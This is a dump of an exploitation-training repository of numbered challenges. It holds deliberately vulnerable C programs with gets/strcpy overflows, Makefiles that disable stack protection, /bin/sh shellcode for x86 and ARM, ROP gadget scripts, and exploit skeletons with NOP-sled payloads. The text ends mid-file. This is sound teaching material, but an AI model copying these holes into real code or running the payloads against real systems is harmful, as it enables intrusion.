├── challenge32 ├── source │ ├── flag.txt │ ├── Makefile │ ├── logic.h │ ├── utility.h │ ├── welcome-message.txt │ ├── movie.h │ ├── main.c │ ├── movie.c │ ├── utility.c │ ├── list.h │ └── logic.c └── exploit │ └── exploit.py ├── challenge53 ├── test.dob ├── Makefile └── challenge53.c ├── challenge46 ├── README.md ├── stack0 ├── stack1 ├── stack2 ├── stack3 ├── stack4 ├── stack5 └── stack6 ├── challenge17 ├── execve.c ├── Makefile ├── print-gadgets.py ├── challenge17.c ├── exp-challenge17.py └── exp-challenge17-advanced.py ├── challenge15 ├── challenge15 ├── Makefile ├── challenge15-solution.py └── challenge15.c ├── challenge03 ├── Makefile └── intro.asm ├── challenge44 ├── stack.c ├── Makefile ├── inter_chunk.c └── intra_chunk.c ├── challenge41 ├── Makefile └── challenge41.c ├── challenge52 ├── Makefile └── challenge52.c ├── challenge02 ├── Makefile └── challenge02.c ├── challenge14 ├── Makefile ├── challenge14-bruteforce.py └── challenge14-server.c ├── challenge42 ├── toshellcode.py ├── shellcodetest.c ├── execve1.s ├── execve3.s ├── execve2.s ├── write.s └── Makefile ├── challenge47 ├── toshellcode.py ├── syscall.c ├── execve3.s ├── execve1.s ├── write.s └── Makefile ├── challenge00 ├── Makefile └── challenge00.c ├── challenge01 ├── Makefile └── challenge01.c ├── challenge06 ├── Makefile └── challenge06.c ├── challenge08 ├── Makefile └── challenge08.c ├── challenge16 ├── Makefile ├── mprotect-test.c ├── print-gadgets.py ├── challenge16.c └── exp-challenge16.py ├── challenge09 ├── Makefile └── challenge09.c ├── challenge12 ├── Makefile ├── challenge12-exploit.py ├── challenge12-solution.py └── challenge12.c ├── challenge13 ├── Makefile ├── challenge13-exploit.py ├── challenge13-solution.py └── challenge13.c ├── challenge10 ├── Makefile └── challenge10.c ├── challenge11 ├── Makefile ├── challenge11-exploit.py └── challenge11.c ├── challenge04 ├── print.asm ├── print2.asm ├── print3.asm ├── shellcodetest.c └── Makefile ├── challenge31 ├── Makefile ├── noteheap-cmdparser.h ├── noteheap-model.h ├── noteheap.c ├── noteheap-exp-skel.py ├── noteheap-model.c └── noteheap-cmdparser.c ├── challenge33 ├── http.h ├── Makefile ├── webserver.c └── http.c ├── challenge51 ├── string3.c ├── string1.c ├── string2.c ├── example1.c ├── example4.c └── example2.c ├── README.md ├── LICENSE └── challenge60 └── checksec.sh /challenge32/source/flag.txt: -------------------------------------------------------------------------------- 1 | gn00bz{this is le flag} 2 | -------------------------------------------------------------------------------- /challenge53/test.dob: -------------------------------------------------------------------------------- 1 | TEST BBBBCCCC -------------------------------------------------------------------------------- /challenge32/source/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -O2 -fPIE -pie -fPIC -o moviedb *.c 3 | -------------------------------------------------------------------------------- /challenge46/README.md: -------------------------------------------------------------------------------- 1 | # ARM-challenges 2 | Protostart Stack Overflow Challenges compiled for ARMv6. 3 | -------------------------------------------------------------------------------- /challenge46/stack0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack0 -------------------------------------------------------------------------------- /challenge46/stack1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack1 -------------------------------------------------------------------------------- /challenge46/stack2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack2 -------------------------------------------------------------------------------- /challenge46/stack3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack3 -------------------------------------------------------------------------------- /challenge46/stack4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack4 -------------------------------------------------------------------------------- /challenge46/stack5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack5 -------------------------------------------------------------------------------- /challenge46/stack6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge46/stack6 -------------------------------------------------------------------------------- /challenge17/execve.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main(void) { 4 | execve("/bin/sh", NULL, NULL); 5 | } 6 | -------------------------------------------------------------------------------- /challenge15/challenge15: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dobin/yookiterm-challenges-files/HEAD/challenge15/challenge15 -------------------------------------------------------------------------------- /challenge03/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: intro 3 | 4 | intro: intro.asm 5 | nasm -f elf intro.asm 6 | ld -m elf_i386 -o intro intro.o 7 | -------------------------------------------------------------------------------- /challenge44/stack.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | 3 | int main(int argc, char **argv) 4 | { 5 | char buffer[8]; 6 | gets(buffer); 7 | } 8 | -------------------------------------------------------------------------------- /challenge41/Makefile: -------------------------------------------------------------------------------- 1 | all: challenge41 2 | 3 | challenge41: challenge41.c 4 | gcc -ggdb challenge41.c -o challenge41 -fno-stack-protector 5 | -------------------------------------------------------------------------------- /challenge52/Makefile: -------------------------------------------------------------------------------- 1 | all: challenge52 2 | 3 | challenge52: challenge52.c 4 | gcc -no-pie challenge52.c -o challenge52 5 | 6 | clean: 7 | rm challenge52 8 | -------------------------------------------------------------------------------- /challenge02/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -no-pie -fno-pie -m32 -fno-omit-frame-pointer 2 | 3 | all: datastructures 4 | 5 | datastructures: 6 | gcc challenge02.c $(CFLAGS) -o challenge02 7 | -------------------------------------------------------------------------------- /challenge14/Makefile: -------------------------------------------------------------------------------- 1 | all: challenge14 2 | 3 | challenge14: challenge14-server.c 4 | gcc -no-pie -z execstack -fstack-protector-all challenge14-server.c -o challenge14-server 5 | 6 | clean: 7 | rm challenge14 8 | -------------------------------------------------------------------------------- /challenge42/toshellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | binary = open(sys.argv[1],'rb') 6 | 7 | for byte in binary.read(): 8 | sys.stdout.write("\\x"+byte.encode("hex")) 9 | 10 | print "" 11 | -------------------------------------------------------------------------------- /challenge47/toshellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | binary = open(sys.argv[1],'rb') 6 | 7 | for byte in binary.read(): 8 | sys.stdout.write("\\x"+byte.encode("hex")) 9 | 10 | print "" 11 | -------------------------------------------------------------------------------- /challenge47/syscall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main(void) { 5 | printf("Syscall no. of write : %i\n", SYS_write); 6 | printf("Syscall no. of execve: %i\n", SYS_execve); 7 | } 8 | -------------------------------------------------------------------------------- /challenge00/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -no-pie -fno-pie -m32 -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge00 4 | 5 | challenge00: challenge00.c 6 | gcc challenge00.c $(CFLAGS) -o challenge00 7 | 8 | clean: 9 | rm challenge00 10 | -------------------------------------------------------------------------------- /challenge01/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -no-pie -fno-pie -m32 -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge01 4 | 5 | challenge01: challenge01.c 6 | gcc challenge01.c $(CFLAGS) -o challenge01 7 | 8 | clean: 9 | rm challenge01 10 | -------------------------------------------------------------------------------- /challenge06/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -no-pie -fno-pie -m32 -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge06 4 | 5 | challenge06: challenge06.c 6 | gcc challenge06.c $(CFLAGS) -o challenge06 7 | 8 | clean: 9 | rm challenge06 10 | -------------------------------------------------------------------------------- /challenge08/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -m32 -no-pie -fno-pie -O0 -fno-omit-frame-pointer -fno-stack-protector 2 | 3 | all: challenge08 4 | 5 | challenge08: challenge08.c 6 | gcc challenge08.c $(CFLAGS) -o challenge08 7 | 8 | clean: 9 | rm challenge08 10 | -------------------------------------------------------------------------------- /challenge17/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge17 4 | 5 | challenge17: challenge17.c 6 | gcc $(CFLAGS) challenge17.c -o challenge17 7 | 8 | clean: 9 | rm challenge17 10 | 11 | -------------------------------------------------------------------------------- /challenge15/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge15 4 | 5 | challenge15: challenge15.c 6 | gcc challenge15.c $(CFLAGS) -o challenge15 -lcrypt 7 | 8 | clean: 9 | rm challenge15 10 | -------------------------------------------------------------------------------- /challenge44/Makefile: -------------------------------------------------------------------------------- 1 | all: stack intra_chunk inter_chunk 2 | 3 | stack: stack.c 4 | gcc stack.c -o stack 5 | 6 | intra_chunk: intra_chunk.c 7 | gcc intra_chunk.c -o intra_chunk -O 8 | 9 | inter_chunk: inter_chunk.c 10 | gcc inter_chunk.c -o inter_chunk 11 | -------------------------------------------------------------------------------- /challenge16/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge16 4 | 5 | challenge16: challenge16.c 6 | gcc $(CFLAGS) -static challenge16.c -o challenge16 7 | 8 | clean: 9 | rm challenge16 10 | 11 | -------------------------------------------------------------------------------- /challenge32/source/logic.h: -------------------------------------------------------------------------------- 1 | #ifndef LOGIC_H 2 | #define LOGIC_H 3 | 4 | #include "movie.h" 5 | 6 | void print_welcome_message(char *file_name); 7 | 8 | void add_movie(); 9 | void remove_movie(); 10 | void edit_movie(); 11 | void print_movies(); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /challenge00/challenge00.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char **argv) { 5 | if (argc == 1) { 6 | printf("Call: %s \n", argv[0]); 7 | exit(0); 8 | } 9 | 10 | printf("Hello %s\n", argv[1]); 11 | } 12 | -------------------------------------------------------------------------------- /challenge09/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -m32 -z execstack -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer 2 | 3 | all: challenge09 4 | 5 | challenge09: challenge09.c 6 | gcc challenge09.c $(CFLAGS) -o challenge09 -lcrypt 7 | 8 | clean: 9 | rm challenge09 10 | -------------------------------------------------------------------------------- /challenge12/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -z execstack -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge12 4 | 5 | challenge12: challenge12.c 6 | gcc challenge12.c $(CFLAGS) -o challenge12 -lcrypt 7 | 8 | clean: 9 | rm challenge12 10 | -------------------------------------------------------------------------------- /challenge13/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -z execstack -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge13 4 | 5 | challenge13: challenge13.c 6 | gcc challenge13.c $(CFLAGS) -o challenge13 -lcrypt 7 | 8 | clean: 9 | rm challenge13 10 | -------------------------------------------------------------------------------- /challenge10/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -m32 -z execstack -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge10 4 | 5 | challenge10: challenge10.c 6 | gcc challenge10.c $(CFLAGS) -o challenge10 -lcrypt 7 | 8 | clean: 9 | rm challenge10 10 | -------------------------------------------------------------------------------- /challenge11/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O0 -m32 -z execstack -fno-stack-protector -no-pie -fno-pie -fno-omit-frame-pointer -ggdb 2 | 3 | all: challenge11 4 | 5 | challenge11: challenge11.c 6 | gcc challenge11.c $(CFLAGS) -o challenge11 -lcrypt 7 | 8 | clean: 9 | rm challenge11 10 | -------------------------------------------------------------------------------- /challenge47/execve3.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | .section .text 3 | 4 | _start: 5 | adr x0, . // get PC into x0 6 | add x0, x0, 24 7 | mov x1, 0 8 | mov x2, 0 9 | mov x8, #221 // execve syscall 10 | svc #0 11 | 12 | .ascii "/bin/sh\0" 13 | -------------------------------------------------------------------------------- /challenge32/source/utility.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_H 2 | #define UTILITY_H 3 | 4 | #include 5 | 6 | size_t read_n_until(char *dst, size_t nbytes, char c); 7 | size_t read_n_line(char *dst, size_t nbytes); 8 | 9 | int read_int_line(); 10 | 11 | void safe_print(char *s); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /challenge03/intro.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | msg db 'AABBCCDD' 3 | 4 | 5 | section .text 6 | global _start 7 | _start: 8 | 9 | mov eax, 10 10 | mov ah, 0x1 11 | add eax, 0x10 12 | 13 | mov eax, 0x11223344 14 | 15 | mov ebx, 0x8048001 16 | mov eax, [ebx] 17 | 18 | mov ebx, 0x41424344 19 | mov eax, [ebx] 20 | -------------------------------------------------------------------------------- /challenge04/print.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | msg db 'Hi there',0xa 3 | 4 | section .text 5 | global _start 6 | _start: 7 | 8 | ; write (int fd, char *msg, unsigned int len); 9 | mov eax, 4 10 | mov ebx, 1 11 | mov ecx, msg 12 | mov edx, 9 13 | int 0x80 14 | 15 | ; exit (int ret) 16 | mov eax, 1 17 | mov ebx, 0 18 | int 0x80 19 | -------------------------------------------------------------------------------- /challenge04/print2.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | msg db 'Hi there',0xa 3 | 4 | section .text 5 | global _start 6 | _start: 7 | 8 | xor eax,eax 9 | xor ebx,ebx 10 | xor ecx,ecx 11 | xor edx,edx 12 | 13 | mov al, 0x4 14 | mov bl, 0x1 15 | mov ecx, msg 16 | mov dl, 0x8 17 | int 0x80 18 | 19 | mov al, 0x1 20 | xor ebx,ebx 21 | int 0x80 22 | -------------------------------------------------------------------------------- /challenge31/Makefile: -------------------------------------------------------------------------------- 1 | all: noteheap 2 | 3 | CC=gcc 4 | 5 | noteheap: noteheap.c noteheap-model.c noteheap-cmdparser.c 6 | $(CC) -c noteheap.c noteheap-model.c noteheap-cmdparser.c 7 | $(CC) noteheap.o noteheap-model.o noteheap-cmdparser.o -o noteheap 8 | 9 | clean: 10 | rm noteheap.o noteheap-model.o noteheap-cmdparser.o noteheap 11 | -------------------------------------------------------------------------------- /challenge04/print3.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | 3 | section .text 4 | global _start 5 | _start: 6 | 7 | xor eax,eax 8 | xor ebx,ebx 9 | xor ecx,ecx 10 | xor edx,edx 11 | 12 | mov al, 0x4 13 | mov bl, 0x1 14 | mov dl, 0x8 15 | push 0x65726568 16 | push 0x74206948 17 | mov ecx, esp 18 | int 0x80 19 | 20 | mov al, 0x1 21 | xor ebx,ebx 22 | int 0x80 23 | -------------------------------------------------------------------------------- /challenge32/source/welcome-message.txt: -------------------------------------------------------------------------------- 1 | ************************************************************* 2 | *** Welcome to Movie Database 2000. It still lacks *** 3 | *** some features like persistency but hey, at least it's *** 4 | *** safe =) *** 5 | ************************************************************* 6 | -------------------------------------------------------------------------------- /challenge42/shellcodetest.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Len: 28 5 | char *shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78"; 6 | 7 | int main(void) { 8 | char s[32]; 9 | memcpy(s, shellcode, 28); 10 | 11 | ( *( void(*)() ) s)(); 12 | } 13 | -------------------------------------------------------------------------------- /challenge53/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O1 -fno-stack-protector -ggdb 2 | 3 | all: challenge53 4 | 5 | challenge53: challenge53.c 6 | clang challenge53.c $(CFLAGS) -fsanitize=address -o challenge53-asan -lcrypt 7 | afl-clang challenge53.c $(CFLAGS) -fsanitize=address -o challenge53-fuzz -lcrypt 8 | gcc challenge53.c $(CFLAGS) -o challenge53 -lcrypt 9 | 10 | clean: 11 | rm challenge53 12 | -------------------------------------------------------------------------------- /challenge42/execve1.s: -------------------------------------------------------------------------------- 1 | /* execve() assembly code from the tutorial 'Writing ARM Shellcode' (https://azeria-labs.com/writing-arm-shellcode/), 2 | first example containing null-bytes */ 3 | 4 | .section .text 5 | .global _start 6 | 7 | _start: 8 | add r0, pc, #12 9 | mov r1, #0 10 | mov r2, #0 11 | mov r7, #11 12 | svc #0 13 | 14 | .ascii "/bin/sh\0" 15 | -------------------------------------------------------------------------------- /challenge41/challenge41.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void IShouldNeverBecalled() { 5 | printf("I should never be called"); 6 | fflush(stdout); 7 | exit(0); 8 | } 9 | 10 | void vulnerable(char *arg) { 11 | char buff[16]; 12 | strcpy(buff, arg); 13 | } 14 | 15 | void main(int argc, char **argv) { 16 | vulnerable(argv[1]); 17 | return(0); 18 | } 19 | -------------------------------------------------------------------------------- /challenge33/http.h: -------------------------------------------------------------------------------- 1 | #include "mongoose.h" 2 | 3 | #ifndef HTTP 4 | #define HTTP 5 | #endif 6 | 7 | void rest_auth(struct mg_connection *c, struct http_message *hm); 8 | void rest_ping(struct mg_connection *c, struct http_message *hm); 9 | void rest_login(struct mg_connection *c, struct http_message *hm); 10 | void rest_logout(struct mg_connection *c, struct http_message *hm); 11 | 12 | void logout_handler(void); -------------------------------------------------------------------------------- /challenge08/challenge08.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main(int argc, char **argv) { 5 | if (argc != 2) { 6 | printf("Usage: %s \n", argv[0]); 7 | return; 8 | } 9 | 10 | int array[4] = { 0xAA, 0xBB, 0xCC, 0xDD }; 11 | int idx = atoi(argv[1]); 12 | printf("Number at index %i: 0x%x\n", idx, array[idx]); 13 | } 14 | -------------------------------------------------------------------------------- /challenge04/shellcodetest.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char *shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xb2\x08\x68\x68\x65\x72\x65\x68\x48\x69\x20\x74\x89\xe1\xcd\x80\xb0\x01\x31\xdb\xcd\x80"; 5 | 6 | int main(void) { 7 | char stackShellcode[128]; 8 | memcpy(stackShellcode, shellcode, strlen(shellcode)); 9 | ( *( void(*)() ) stackShellcode)(); 10 | } 11 | -------------------------------------------------------------------------------- /challenge47/execve1.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | .section .text 3 | 4 | _start: 5 | 6 | mov x8, #221 // execve syscall 7 | adrp x0, message 8 | add x0, x0, :lo12:message 9 | mov x1, 0 10 | mov x2, 0 11 | svc #0 12 | 13 | mov x8, #93 14 | mov x0, #42 15 | svc #0 16 | 17 | ret 18 | 19 | .section .rodata 20 | message: 21 | .ascii "/bin/sh\0" 22 | -------------------------------------------------------------------------------- /challenge12/challenge12-exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.arch='amd64' 4 | 5 | io = process("./challenge12") 6 | 7 | try: 8 | gdb.attach(io, 'continue') 9 | except: 10 | print("Start tmux first!") 11 | exit(1) 12 | 13 | exploit = b'A' * 156 14 | 15 | io.sendafter(b"Username: ", exploit) 16 | io.sendafter(b"Password: ", b'password') 17 | 18 | print(str(io.read())) 19 | 20 | io.poll(block=True) 21 | 22 | -------------------------------------------------------------------------------- /challenge51/string3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define SIZE 8 6 | 7 | // strncpy() fail 8 | void main(int argc, char **argv) { 9 | char buffer[128]; 10 | 11 | char str1[SIZE]; 12 | char str2[SIZE]; 13 | 14 | strncpy(str1, "XXXXYYYY", SIZE); 15 | strncpy(str2, "AAAABBBB", SIZE); 16 | 17 | printf("str1 @ %p: %02u %s\n", str1, strlen(str1), str1); 18 | printf("str2 @ %p: %02u %s\n", str2, strlen(str2), str2); 19 | } -------------------------------------------------------------------------------- /challenge42/execve3.s: -------------------------------------------------------------------------------- 1 | /* execve() assembly code from the tutorial 'Writing ARM Shellcode' (https://azeria-labs.com/writing-arm-shellcode/), thrid example without null-bytes */ 2 | .section .text 3 | .global _start 4 | 5 | _start: 6 | .code 32 7 | add r3, pc, #1 8 | bx r3 9 | 10 | .code 16 11 | add r0, pc, #8 12 | eor r1, r1, r1 13 | eor r2, r2, r2 14 | strb r2, [r0, #7] 15 | mov r7, #11 16 | svc #1 17 | 18 | .ascii "/bin/shx" 19 | -------------------------------------------------------------------------------- /challenge42/execve2.s: -------------------------------------------------------------------------------- 1 | /* execve() assembly code from the tutorial 'Writing ARM Shellcode' (https://azeria-labs.com/writing-arm-shellcode/), 2 | second example containing one null-byte */ 3 | 4 | .section .text 5 | .global _start 6 | 7 | _start: 8 | .code 32 9 | add r3, pc, #1 10 | bx r3 11 | 12 | .code 16 13 | add r0, pc, #8 14 | eor r1, r1, r1 15 | eor r2, r2, r2 16 | mov r7, #11 17 | svc #1 18 | mov r5, r5 19 | 20 | .ascii "/bin/sh\0" 21 | -------------------------------------------------------------------------------- /challenge16/mprotect-test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define PAGE_SIZE 4096 5 | 6 | void main(void) { 7 | char stackvar[16]; 8 | int ret; 9 | long long stackbase = (long long)( &stackvar ) & ~(PAGE_SIZE -1); // round down 10 | 11 | printf("Stack var: %p\n", &stackvar); 12 | printf("Stackbase: 0x%llx\n", stackbase); 13 | ret = mprotect( (void *) stackbase, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC); 14 | 15 | printf("Ret: %i\n", ret); 16 | } 17 | -------------------------------------------------------------------------------- /challenge16/print-gadgets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import time 4 | import struct 5 | import sys 6 | import argparse 7 | from pwn import * 8 | import pprint 9 | 10 | def main(): 11 | context.update(arch='amd64', os='linux') 12 | e = ELF(sys.argv[1]) 13 | rop = ROP(e) 14 | 15 | pprint.pprint(rop.gadgets) 16 | 17 | print("Useful gadgets:") 18 | print(rop.rax) 19 | print(rop.rdi) 20 | print(rop.rsi) 21 | print(rop.rdx) 22 | 23 | 24 | if __name__ == '__main__': 25 | main() 26 | 27 | -------------------------------------------------------------------------------- /challenge06/challenge06.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void functionMinimal(void) { 6 | return; 7 | } 8 | 9 | void functionInt(int c) { 10 | int d; 11 | d = c + 1; 12 | } 13 | 14 | void functionString(char *a, char *b) { 15 | strcpy(a, b); 16 | } 17 | 18 | int main(int argc, char **argv) { 19 | char *a = "AAAAA"; 20 | char *b = "BBB"; 21 | 22 | functionMinimal(); 23 | functionInt(5); 24 | functionString(a, b); 25 | } -------------------------------------------------------------------------------- /challenge04/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: print print2 print3 shellcodetest 3 | 4 | print: print.asm 5 | nasm -f elf print.asm 6 | ld -m elf_i386 -o print print.o 7 | 8 | print2: print2.asm 9 | nasm -f elf print2.asm 10 | ld -m elf_i386 -o print2 print2.o 11 | 12 | print3: print3.asm 13 | nasm -f elf print3.asm 14 | ld -m elf_i386 -o print3 print3.o 15 | 16 | shellcodetest: shellcodetest.c 17 | gcc shellcodetest.c -z execstack -m32 -no-pie -o shellcodetest 18 | 19 | clean: 20 | rm shellcodetest print print.o print2 print2.o print3 print3.o 21 | 22 | -------------------------------------------------------------------------------- /challenge17/print-gadgets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import time 4 | import struct 5 | import sys 6 | import argparse 7 | from pwn import * 8 | import pprint 9 | 10 | def main(): 11 | context.update(arch='amd64', os='linux') 12 | e = ELF(sys.argv[1]) 13 | rop = ROP(e) 14 | 15 | pprint.pprint(rop.gadgets) 16 | 17 | print("Useful gadgets:") 18 | print(rop.rax) 19 | print(rop.rdi) 20 | print(rop.rsi) 21 | print(rop.rdx) 22 | print(rop.syscallret) 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | 28 | -------------------------------------------------------------------------------- /challenge32/source/movie.h: -------------------------------------------------------------------------------- 1 | #ifndef MOVIE_H 2 | #define MOVIE_H 3 | 4 | #include "list.h" 5 | 6 | #define MAX_MOVIE_NAME_LEN 40 7 | #define MAX_MOVIE_DESCRIPTION_LEN 512 8 | 9 | struct Movie 10 | { 11 | char description[MAX_MOVIE_DESCRIPTION_LEN]; 12 | char name[MAX_MOVIE_NAME_LEN]; 13 | int duration; 14 | int year; 15 | void (*print)(); 16 | struct list_head list; 17 | }; 18 | 19 | struct Movie *create_movie(char *name, char *description, int duration, int year); 20 | void init_movie(struct Movie *m, char *name, char *description, int duration, int year); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /challenge11/challenge11-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Skeleton exploit for challenge11 3 | 4 | import sys 5 | 6 | shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; 7 | offset = 0 8 | ret_addr = b"\x41\x41\x41\x41" 9 | 10 | def make(offset, ret_addr, buf_size=128): 11 | exploit = b"\x90" * (buf_size - len(shellcode)) 12 | exploit += shellcode 13 | 14 | exploit += b"A" * (offset - len(exploit)) 15 | exploit += ret_addr 16 | 17 | return exploit 18 | 19 | exploit = make(offset, ret_addr) 20 | sys.stdout.buffer.write(exploit) 21 | -------------------------------------------------------------------------------- /challenge42/write.s: -------------------------------------------------------------------------------- 1 | .data 2 | string: .asciz "Azeria Labs\n" @ .asciz adds a null-byte to the end of the string 3 | after_string: 4 | .set size_of_string, after_string - string 5 | 6 | .text 7 | .global _start 8 | 9 | _start: 10 | mov r0, #1 @ STDOUT 11 | ldr r1, addr_of_string @ memory address of string 12 | mov r2, #size_of_string @ size of string 13 | mov r7, #4 @ write syscall 14 | swi #0 @ invoke syscall 15 | 16 | _exit: 17 | mov r7, #1 @ exit syscall 18 | swi 0 @ invoke syscall 19 | 20 | addr_of_string: .word string 21 | -------------------------------------------------------------------------------- /challenge42/Makefile: -------------------------------------------------------------------------------- 1 | all: write execve1 execve2 execve3 shellcodetest 2 | 3 | write: write.s 4 | as write.s -o write.o 5 | ld write.o -o write 6 | 7 | execve1: 8 | as execve1.s -o execve1.o 9 | ld execve1.o -o execve1 10 | 11 | execve2: 12 | as execve2.s -o execve2.o 13 | ld execve2.o -o execve2 14 | 15 | execve1: 16 | as execve3.s -o execve3.o 17 | ld execve3.o -o execve3 18 | 19 | shellcodetest: 20 | gcc shellcodetest.c -o shellcodetest -fno-stack-protector -z execstack 21 | 22 | clean: 23 | rm write.o write 24 | rm execve1.o execve1 25 | rm execve2.o execve2 26 | rm execve3.o execve3 27 | rm shellcodetest 28 | 29 | -------------------------------------------------------------------------------- /challenge47/write.s: -------------------------------------------------------------------------------- 1 | /* 2 | Output "Hello world!" to standard output. 3 | For Aarch64 (ARM64) architecture with GNU assembler, using Linux syscalls. 4 | 5 | Assemble with : 6 | as -o hello.o hello.aarch64.linux.syscall.gas.asm && 7 | ld -o hello hello.o 8 | */ 9 | 10 | .globl _start 11 | .section .text 12 | 13 | _start: 14 | 15 | mov x8, #64 16 | mov x0, #1 17 | adrp x1, message 18 | add x1, x1, :lo12:message 19 | mov x2, 13 20 | svc #0 21 | 22 | mov x8, #93 23 | mov x0, #42 24 | svc #0 25 | 26 | ret 27 | 28 | .section .rodata 29 | message: 30 | .asciz "Hello world!\n" 31 | -------------------------------------------------------------------------------- /challenge01/challenge01.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char globalVariable[] = "GlobalVar"; 5 | const char globalStaticVariable[] = "GlobalStaticVar"; 6 | 7 | void function(void) { 8 | printf("blah"); 9 | } 10 | 11 | 12 | int main(int argc, char **argv) { 13 | char localStackVar[16] = "StackVar"; 14 | char *heapVar = malloc(16); 15 | 16 | printf("Global variable: %p\n", globalVariable); 17 | printf("Global static variable: %p\n", globalStaticVariable); 18 | printf("Stack variable: %p\n", localStackVar); 19 | printf("Heap variable: %p\n", heapVar); 20 | printf("Function: %p\n", &function); 21 | } 22 | 23 | -------------------------------------------------------------------------------- /challenge51/string1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // strcpy() 6 | void main(int argc, char **argv) { 7 | char buffer[128]; 8 | 9 | char str[8]; 10 | strcpy(str, "1234567"); // str[7] = ‘\0’ 11 | printf("A: %i %s\n", strlen(str), str); 12 | 13 | strcpy(str, "12345678"); // str[7] = ‘8’ 14 | // str[8] = ‘\0’ 15 | printf("B: %i %s\n", strlen(str), str); 16 | 17 | strcpy(str, "123456789"); // str[7] = ‘8’ 18 | // str[8] = ‘9’ 19 | // str[9] = ‘\0’ 20 | printf("C: %i %s\n", strlen(str), str); 21 | } -------------------------------------------------------------------------------- /challenge44/inter_chunk.c: -------------------------------------------------------------------------------- 1 | #include "stdlib.h" 2 | #include "stdio.h" 3 | 4 | int main ( int argc, char* argv[] ) 5 | { 6 | char *some_string = malloc(8); //create some_string "object" in Heap 7 | int *some_number = 